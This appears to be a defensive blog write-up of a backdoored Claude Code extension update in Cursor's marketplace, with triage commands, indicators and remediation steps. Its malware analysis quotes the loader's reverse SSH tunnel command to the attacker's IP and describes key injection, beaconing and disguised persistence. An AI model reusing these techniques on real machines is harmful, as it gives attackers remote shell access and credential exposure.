// /ai-engineering/claude-code-extension-cursor-marketplace-backdoor
A glowing teal puzzle-piece extension with a hidden red SSH key plugged into a code editor window, with a dashed red line tunneling to a remote server rack

A Backdoored Claude Code Extension Shipped Through Cursor's Marketplace. Here's What to Check

Tampered 2.1.312/2.1.313 builds of the Claude Code extension in Cursor's marketplace planted an SSH key and persistence. Who's affected, and what to check.

3 views 1 reads

On October 29, anyone running the Claude Code extension in Cursor with auto-update on could have received a backdoor without clicking anything. Versions 2.1.312 and 2.1.313 of anthropic.claude-code in Cursor's own extension marketplace carried a small loader, placed in front of the extension's real code, that added an attacker's SSH key to the user's account, tried to open a reverse SSH tunnel, installed persistence, and reported the host to a remote server.

It wasn't a typosquat or a look-alike listing. It was the real extension ID, delivered as an ordinary update. That's the part worth sitting with, because it changes how we should think about IDE extensions, especially the ones that run AI agents with access to our shells and credentials.

// What happened

  • When: October 29, 2026, from about 02:27 to 13:35 PT (09:27–20:35 UTC, 10:27–21:35 in Zurich). Roughly 11 hours.
  • Where: Only Cursor's VS Code extension marketplace.
  • What: Tampered builds of anthropic.claude-code 2.1.312 and 2.1.313. Cursor's indicators list modified packages for macOS on Apple silicon (darwin-arm64) and Windows x64.
  • How many: Cursor puts it at "at most 5,000 users" and says it will contact them directly.
  • Response: Cursor pulled the versions, shut down the entire marketplace as a precaution, checked the other extensions (no further tampering found), rotated keys, rebuilt the marketplace, and worked with the hosting provider to take the attacker's server offline.

EDR vendor Phorion was reportedly first to flag the update publicly. OpenSourceMalware, StepSecurity and OX Security followed with technical analyses.

How the attacker got publishing access is still unexplained. Anthropic's Felix Rieseberg wrote that "a malicious actor used access to Cursor's marketplace to publish a tampered copy of the Claude Code extension" and that "it wasn't a compromise of Anthropic's systems or employee laptops." Cursor says the versions "were not developed by Anthropic" but hasn't published a root cause. Phorion says the update went out through Anthropic's official publisher account on Cursor's marketplace.

// Who is affected, and who isn't

Affected: Cursor users on macOS or Windows who installed or auto-updated to 2.1.312 or 2.1.313 from Cursor's marketplace during that window. Cursor updates extensions automatically by default, so "I didn't touch anything" is not an alibi.

Not affected, according to Anthropic, Cursor and the researchers:

  • the Claude Code CLI package on npm (@anthropic-ai/claude-code);
  • the extension on Microsoft's Visual Studio Marketplace and on Open VSX;
  • the other extensions in Cursor's marketplace.

One detail matters for triage: the version number alone tells you very little. Anthropic says 2.1.313 was never published on its channels; its next release after 2.1.312 was 2.1.314. A clean 2.1.312 exists on Open VSX and the Microsoft marketplace. The malicious 2.1.312 existed only in Cursor's marketplace, and Cursor has since replaced it with clean bytes. Same ID, same version string, different files depending on where you got them.

// What the loader does

According to OpenSourceMalware's analysis, the malicious code is a 66-line immediately invoked function prepended to extension.js. There are no install scripts and no lifecycle hooks. It runs when the extension loads at editor startup or when its webview opens. You don't need to start a Claude session.

  1. Recon. Collects hostname, username, OS, CPU architecture, home and working directories, global Git email, public IP (via ifconfig.me and api.ipify.org), and the names, not values, of up to 40 environment variables containing KEY, TOKEN, SECRET, PASS, AWS or GCP.
  2. Access. Appends an Ed25519 public key with the comment svc-telemetry to ~/.ssh/authorized_keys.
  3. SSH service. Tries to switch SSH on: sudo -n systemsetup -setremotelogin on on macOS, installing and starting OpenSSH Server through PowerShell on Windows, systemctl on Linux. Failures are swallowed silently.
  4. Reverse tunnel. Decodes an embedded private key to a temp file named .stk_<hex> and runs ssh -N -R '*:0:localhost:22' tunnel@134.209.82.225 (preferring autossh), retrying every 60 seconds. The -R asks the attacker's server to open a port that forwards back to your port 22. Because the connection is outbound, it walks straight through NAT and most firewalls.
  5. Persistence. macOS: a LaunchAgent at ~/Library/LaunchAgents/com.apple.sysmond.plist (the Apple-looking name is the camouflage) plus ~/.config/.smt and ~/.config/.smtk. Windows: a scheduled task named SysMon running as SYSTEM, with a sysmon.cmd Startup-folder fallback. Linux: an @reboot cron entry.
  6. Beacon. POSTs the recon data as JSON over plain HTTP to 134.209.82.225:8099/beacon, and also to 127.0.0.1:8099.

No second-stage download was found. It didn't need one: an authorized key plus a tunnel is an interactive shell running as you.

// "The tunnel probably failed" is not "you're fine"

Cursor's notice says the SSH step would generally fail without admin rights, and also points to errors in the malicious code. The attacker's server is now offline. All of that is true, and it's reassuring for the default case: a laptop where SSH was off and the user has no passwordless sudo.

Three reasons not to stop reading there:

  • The key, the persistence and the beacon need no privileges. They may all have succeeded even where the tunnel didn't. Cursor says so explicitly.
  • If SSH was already on, no elevation was needed. On a Mac with Remote Login enabled, or a Windows machine already running OpenSSH Server, the loader only needed the injected key and an outbound connection. Treat those hosts as potentially accessed.
  • Updating doesn't clean up. Version 2.1.314 removes the loader from the extension, but the key, the LaunchAgent, the scheduled task and the scripts live outside the extension directory. As Kevin Beaumont put it, the replacement versions "do not remove the prior backdoors and recon activity."

And the environment-variable names are intelligence on their own. A list like AWS_PROFILE, GITHUB_TOKEN, NPM_TOKEN, OPENAI_API_KEY maps your cloud, CI and package-registry access in one line, and tells an operator which doors to try next.

// Check your machine

These are quick triage checks built from the published indicators. They don't replace Cursor's remediation scripts (use those for cleanup), but they tell you in a minute whether you have a problem. Any output from the Unix commands below deserves a closer look.

macOS (and Linux):

grep -n 'svc-telemetry' ~/.ssh/authorized_keys 2>/dev/null
ls -la ~/Library/LaunchAgents/com.apple.sysmond.plist ~/.config/.smt ~/.config/.smtk 2>/dev/null
launchctl list 2>/dev/null | grep -i sysmond
crontab -l 2>/dev/null | grep -F '.config/.smt'
find "$TMPDIR" /tmp/ -maxdepth 1 -name '.stk_*' 2>/dev/null
ps aux | grep -E '[l]ocalhost:22|[a]utossh'
find ~/.cursor/extensions -maxdepth 1 -name 'anthropic.claude-code-*' -exec grep -rlE '134\.209\.82\.225|svc-telemetry' {} + 2>/dev/null

The last line looks for tampered extension bundles still on disk. On a Mac, also open System Settings → General → Sharing and check Remote Login. If it's on and you don't need it, switch it off.

Windows (PowerShell):

Select-String -Path "$env:USERPROFILE\.ssh\authorized_keys" -Pattern 'svc-telemetry'
Get-ScheduledTask -TaskName 'SysMon' -ErrorAction SilentlyContinue
Test-Path "$env:USERPROFILE\.config\smt.cmd", "$env:USERPROFILE\.config\smtk"
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup", "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" -Filter 'sysmon.cmd' -ErrorAction SilentlyContinue
Get-ChildItem $env:TEMP -Filter '.stk_*' -Force -ErrorAction SilentlyContinue
Get-Service sshd -ErrorAction SilentlyContinue
Get-CimInstance Win32_Process -Filter "Name='ssh.exe'" | Select-Object ProcessId, CommandLine
Get-ChildItem "$env:USERPROFILE\.cursor\extensions" -Directory -Filter 'anthropic.claude-code-*' | Get-ChildItem -Recurse -Include *.js | Select-String -Pattern '134\.209\.82\.225|svc-telemetry' -List | Select-Object Path

For EDR and network teams, the key indicators are:

  • IP 134.209.82.225: SSH on TCP 22 as tunnel@, HTTP POST to port 8099 at /beacon
  • SSH key comment svc-telemetry, fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
  • Payload extension.js SHA-256 ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15
  • Command lines containing -R *:0:localhost:22, autossh -M 0, schtasks /create /tn SysMon or systemsetup -setremotelogin on

The hashes of all four modified VSIX packages are in Cursor's notice.

// If you find something

The order matters:

  1. Preserve first. Disconnect the machine from the network and collect evidence before deleting anything.
  2. Remove persistence. Run Cursor's remediate-macos.sh (as the affected user, not root) or remediate-windows.ps1 (as Administrator). Uninstalling the extension alone is not enough.
  3. Update the extension to 2.1.314 or later.
  4. Rotate from a clean machine. Everything that host could reach: Git hosting tokens, SSH keys, cloud credentials, CI/CD and package-registry tokens, API keys. Revoke active sessions too.
  5. Review logs for SSH logins, shell history and process activity since October 29. If the tunnel ever connected, rebuild the host instead of cleaning it.

// What this says about IDE extensions

An extension ID is not a trust boundary. anthropic.claude-code reads like a signature. It isn't one. It's a name in whichever marketplace your editor talks to, and whoever controls the publishing path in that marketplace controls the bytes. Microsoft's terms keep VS Code forks off its marketplace, so each fork runs its own distribution channel: a separate trust root with its own accounts, pipeline and keys. This incident is what happens when that root gets touched.

Auto-update is a delivery mechanism. It's also how fixes reach you fast, so I'm not arguing to switch it off everywhere. But an AI coding agent is the most privileged code most of us run: it reads every repository, sees the environment, and executes shell commands by design. For that class of extension, an 11-hour zero-click window is the threat model. VS Code lets you disable auto-update per extension (right-click it in the Extensions view) or globally with extensions.autoUpdate. Updating agent extensions by hand, and only after the version appears in the vendor's own release notes, would have sidestepped this one entirely: there was never a 2.1.313 in Anthropic's changelog.

Uninstall is not cleanup. Anything an extension writes outside its own directory (keys, LaunchAgents, scheduled tasks, cron entries) survives both removal and updates. Incident response for a bad extension has to be host response.

The secrets in your shell are a map. Even their names leak your topology. Prefer short-lived credentials (SSO sessions, credential helpers, a secrets-manager CLI) over long-lived tokens exported from .zshrc.

Cheap tripwires work. ~/.ssh/authorized_keys on a laptop should almost never change. A LaunchAgent with a com.apple.* label in your user Library is suspicious on its face. File-change alerts on those two locations would have caught this within minutes.

// What I'd do this week

  • Run the triage checks above on every machine with Cursor, even if you rarely open the Claude extension.
  • Switch off Remote Login and OpenSSH Server on laptops that don't need them.
  • Move agent extensions to manual updates and cross-check each new version against the vendor's release notes.
  • Audit which long-lived tokens live in your shell environment.
  • Add alerts for changes to authorized_keys, LaunchAgents and scheduled tasks.

A week earlier, the GlassWorm operation swapped release binaries of OVHcloud's CLI through a hijacked contributor account on GitHub. The pattern is consistent: attackers go after the distribution channels developers trust without thinking. AI agent extensions are now the most attractive target in that channel, because they're privileged by design. In this incident the model was never the weak link. The update channel was.

Sources: Cursor security notice · The Hacker News · OpenSourceMalware analysis · StepSecurity · The Register · BankInfoSecurity

/**
* @author

OIV

* Fear not the AI that passes the test. Fear the one that pretends to fail it.

IT-Digest AI Assistant